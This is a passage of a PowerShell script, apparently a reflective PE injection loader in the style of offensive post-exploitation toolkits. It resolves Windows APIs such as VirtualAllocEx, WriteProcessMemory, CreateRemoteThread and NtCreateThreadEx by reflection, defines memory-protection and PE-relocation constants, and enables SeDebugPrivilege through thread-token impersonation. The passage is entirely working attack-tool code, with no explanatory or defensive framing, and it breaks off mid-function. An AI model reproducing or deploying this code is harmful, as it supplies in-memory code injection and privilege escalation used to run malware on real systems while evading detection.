  366.         $LUID = $TypeBuilder.CreateType()
  367.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
  368.  
  369.  
  370.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  371.         $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
  372.         $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
  373.         $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
  374.         $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
  375.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
  376.  
  377.  
  378.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  379.         $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
  380.         $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
  381.         $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
  382.         $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
  383.         $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
  384.  
  385.         return $Win32Types
  386.     }
  387.  
  388.     Function Get-Win32Constants
  389.     {
  390.         $Win32Constants = New-Object System.Object
  391.  
  392.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
  393.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
  394.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
  395.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
  396.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
  397.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
  398.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
  399.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
  400.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
  401.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
  402.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
  403.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
  404.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
  405.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
  406.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
  407.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
  408.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
  409.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
  410.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
  411.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
  412.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
  413.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
  414.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
  415.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
  416.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
  417.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
  418.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
  419.         $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
  420.         $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
  421.  
  422.         return $Win32Constants
  423.     }
  424.  
  425.     Function Get-Win32Functions
  426.     {
  427.         $Win32Functions = New-Object System.Object
  428.  
  429.         $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
  430.         $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  431.         $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
  432.         $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
  433.  
  434.         $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
  435.         $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  436.         $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
  437.         $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
  438.  
  439.         $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
  440.         $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  441.         $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
  442.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
  443.  
  444.         $memsetAddr = Get-ProcAddress msvcrt.dll memset
  445.         $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  446.         $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
  447.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
  448.  
  449.         $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
  450.         $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
  451.         $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
  452.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
  453.  
  454.         $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
  455.         $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
  456.         $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
  457.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
  458.  
  459.         $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress
  460.         $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
  461.         $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
  462.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
  463.  
  464.         $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
  465.         $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  466.         $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
  467.         $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
  468.  
  469.         $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
  470.         $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  471.         $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
  472.         $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
  473.  
  474.         $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
  475.         $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
  476.         $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
  477.         $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
  478.  
  479.         $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
  480.         $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
  481.         $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
  482.         $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
  483.  
  484.         $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
  485.         $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
  486.         $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
  487.         $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
  488.  
  489.         $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
  490.         $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
  491.         $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
  492.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
  493.  
  494.         $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
  495.         $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
  496.         $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
  497.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
  498.  
  499.         $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
  500.         $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  501.         $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
  502.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
  503.  
  504.         $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
  505.         $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  506.         $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
  507.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
  508.  
  509.         $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
  510.         $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  511.         $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
  512.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
  513.  
  514.         $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
  515.         $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
  516.         $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
  517.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
  518.  
  519.         $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
  520.         $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
  521.         $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
  522.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
  523.  
  524.         $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
  525.         $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
  526.         $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
  527.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
  528.  
  529.         $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
  530.         $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  531.         $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
  532.         $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
  533.  
  534.         $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
  535.         $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
  536.         $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
  537.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
  538.  
  539.         $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
  540.         $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
  541.         $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
  542.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
  543.  
  544.  
  545.         if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
  546.             $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
  547.             $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  548.             $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
  549.             $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
  550.         }
  551.  
  552.         $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
  553.         $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
  554.         $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
  555.         $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
  556.  
  557.         $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
  558.         $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
  559.         $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
  560.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
  561.  
  562.         return $Win32Functions
  563.     }
  564.  
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.     Function Sub-SignedIntAsUnsigned
  574.     {
  575.         Param(
  576.         [Parameter(Position = 0, Mandatory = $true)]
  577.         [Int64]
  578.         $Value1,
  579.  
  580.         [Parameter(Position = 1, Mandatory = $true)]
  581.         [Int64]
  582.         $Value2
  583.         )
  584.  
  585.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  586.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  587.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  588.  
  589.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  590.         {
  591.             $CarryOver = 0
  592.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  593.             {
  594.                 $Val = $Value1Bytes[$i] - $CarryOver
  595.  
  596.                 if ($Val -lt $Value2Bytes[$i])
  597.                 {
  598.                     $Val += 256
  599.                     $CarryOver = 1
  600.                 }
  601.                 else
  602.                 {
  603.                     $CarryOver = 0
  604.                 }
  605.  
  606.  
  607.                 [UInt16]$Sum = $Val - $Value2Bytes[$i]
  608.  
  609.                 $FinalBytes[$i] = $Sum -band 0x00FF
  610.             }
  611.         }
  612.         else
  613.         {
  614.             Throw "Cannot subtract bytearrays of different sizes"
  615.         }
  616.  
  617.         return [BitConverter]::ToInt64($FinalBytes, 0)
  618.     }
  619.  
  620.  
  621.     Function Add-SignedIntAsUnsigned
  622.     {
  623.         Param(
  624.         [Parameter(Position = 0, Mandatory = $true)]
  625.         [Int64]
  626.         $Value1,
  627.  
  628.         [Parameter(Position = 1, Mandatory = $true)]
  629.         [Int64]
  630.         $Value2
  631.         )
  632.  
  633.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  634.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  635.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  636.  
  637.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  638.         {
  639.             $CarryOver = 0
  640.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  641.             {
  642.  
  643.                 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
  644.  
  645.                 $FinalBytes[$i] = $Sum -band 0x00FF
  646.  
  647.                 if (($Sum -band 0xFF00) -eq 0x100)
  648.                 {
  649.                     $CarryOver = 1
  650.                 }
  651.                 else
  652.                 {
  653.                     $CarryOver = 0
  654.                 }
  655.             }
  656.         }
  657.         else
  658.         {
  659.             Throw "Cannot add bytearrays of different sizes"
  660.         }
  661.  
  662.         return [BitConverter]::ToInt64($FinalBytes, 0)
  663.     }
  664.  
  665.  
  666.     Function Compare-Val1GreaterThanVal2AsUInt
  667.     {
  668.         Param(
  669.         [Parameter(Position = 0, Mandatory = $true)]
  670.         [Int64]
  671.         $Value1,
  672.  
  673.         [Parameter(Position = 1, Mandatory = $true)]
  674.         [Int64]
  675.         $Value2
  676.         )
  677.  
  678.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  679.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  680.  
  681.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  682.         {
  683.             for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
  684.             {
  685.                 if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
  686.                 {
  687.                     return $true
  688.                 }
  689.                 elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
  690.                 {
  691.                     return $false
  692.                 }
  693.             }
  694.         }
  695.         else
  696.         {
  697.             Throw "Cannot compare byte arrays of different size"
  698.         }
  699.  
  700.         return $false
  701.     }
  702.  
  703.  
  704.     Function Convert-UIntToInt
  705.     {
  706.         Param(
  707.         [Parameter(Position = 0, Mandatory = $true)]
  708.         [UInt64]
  709.         $Value
  710.         )
  711.  
  712.         [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
  713.         return ([BitConverter]::ToInt64($ValueBytes, 0))
  714.     }
  715.  
  716.  
  717.     Function Get-Hex
  718.     {
  719.         Param(
  720.         [Parameter(Position = 0, Mandatory = $true)]
  721.         $Value
  722.         )
  723.  
  724.         $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
  725.         $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value
  726.  
  727.         return $Hex
  728.     }
  729.  
  730.  
  731.     Function Test-MemoryRangeValid
  732.     {
  733.         Param(
  734.         [Parameter(Position = 0, Mandatory = $true)]
  735.         [String]
  736.         $DebugString,
  737.  
  738.         [Parameter(Position = 1, Mandatory = $true)]
  739.         [System.Object]
  740.         $PEInfo,
  741.  
  742.         [Parameter(Position = 2, Mandatory = $true)]
  743.         [IntPtr]
  744.         $StartAddress,
  745.  
  746.         [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
  747.         [IntPtr]
  748.         $Size
  749.         )
  750.  
  751.         [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
  752.  
  753.         $PEEndAddress = $PEInfo.EndAddress
  754.  
  755.         if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
  756.         {
  757.             Throw "Trying to write to memory smaller than allocated address range. $DebugString"
  758.         }
  759.         if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
  760.         {
  761.             Throw "Trying to write to memory greater than allocated address range. $DebugString"
  762.         }
  763.     }
  764.  
  765.  
  766.     Function Write-BytesToMemory
  767.     {
  768.         Param(
  769.             [Parameter(Position=0, Mandatory = $true)]
  770.             [Byte[]]
  771.             $Bytes,
  772.  
  773.             [Parameter(Position=1, Mandatory = $true)]
  774.             [IntPtr]
  775.             $MemoryAddress
  776.         )
  777.  
  778.         for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
  779.         {
  780.             [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
  781.         }
  782.     }
  783.  
  784.  
  785.  
  786.     Function Get-DelegateType
  787.     {
  788.         Param
  789.         (
  790.             [OutputType([Type])]
  791.  
  792.             [Parameter( Position = 0)]
  793.             [Type[]]
  794.             $Parameters = (New-Object Type[](0)),
  795.  
  796.             [Parameter( Position = 1 )]
  797.             [Type]
  798.             $ReturnType = [Void]
  799.         )
  800.  
  801.         $Domain = [AppDomain]::CurrentDomain
  802.         $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  803.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  804.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  805.         $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  806.         $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
  807.         $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  808.         $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
  809.         $MethodBuilder.SetImplementationFlags('Runtime, Managed')
  810.  
  811.         Write-Output $TypeBuilder.CreateType()
  812.     }
  813.  
  814.  
  815.  
  816.     Function Get-ProcAddress
  817.     {
  818.         Param
  819.         (
  820.             [OutputType([IntPtr])]
  821.  
  822.             [Parameter( Position = 0, Mandatory = $True )]
  823.             [String]
  824.             $Module,
  825.  
  826.             [Parameter( Position = 1, Mandatory = $True )]
  827.             [String]
  828.             $Procedure
  829.         )
  830.  
  831.  
  832.         $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
  833.             Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }
  834.         $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
  835.  
  836.         $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
  837.  
  838.         Try
  839.         {
  840.             $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
  841.         }
  842.         Catch
  843.         {
  844.             $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
  845.                                                             [reflection.bindingflags] "Public,Static",
  846.                                                             $null,
  847.                                                             [System.Reflection.CallingConventions]::Any,
  848.                                                             @((New-Object System.Runtime.InteropServices.HandleRef).GetType(),
  849.                                                             [string]),
  850.                                                             $null)
  851.         }
  852.  
  853.  
  854.         $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
  855.         $tmpPtr = New-Object IntPtr
  856.         $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
  857.  
  858.  
  859.         Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
  860.     }
  861.  
  862.  
  863.     Function Enable-SeDebugPrivilege
  864.     {
  865.         Param(
  866.         [Parameter(Position = 1, Mandatory = $true)]
  867.         [System.Object]
  868.         $Win32Functions,
  869.  
  870.         [Parameter(Position = 2, Mandatory = $true)]
  871.         [System.Object]
  872.         $Win32Types,
  873.  
  874.         [Parameter(Position = 3, Mandatory = $true)]
  875.         [System.Object]
  876.         $Win32Constants
  877.         )
  878.  
  879.         [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
  880.         if ($ThreadHandle -eq [IntPtr]::Zero)
  881.         {
  882.             Throw "Unable to get the handle to the current thread"
  883.         }
  884.  
  885.         [IntPtr]$ThreadToken = [IntPtr]::Zero
  886.         [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  887.         if ($Result -eq $false)
  888.         {
  889.             $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  890.             if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
  891.             {
  892.                 $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
  893.                 if ($Result -eq $false)
  894.                 {
  895.                     Throw "Unable to impersonate self"
  896.                 }
  897.  
  898.                 $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  899.                 if ($Result -eq $false)
  900.                 {
  901.                     Throw "Unable to OpenThreadToken."
  902.                 }
  903.             }
  904.             else
  905.             {
  906.                 Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
  907.             }
  908.         }
  909.  
  910.         [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
  911.         $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
  912.         if ($Result -eq $false)
  913.         {
  914.             Throw "Unable to call LookupPrivilegeValue"
  915.         }
  916.  
  917.         [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
  918.         [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
  919.         $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
  920.         $TokenPrivileges.PrivilegeCount = 1
  921.         $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
  922.         $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
  923.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
  924.  
  925.         $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
  926.         $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
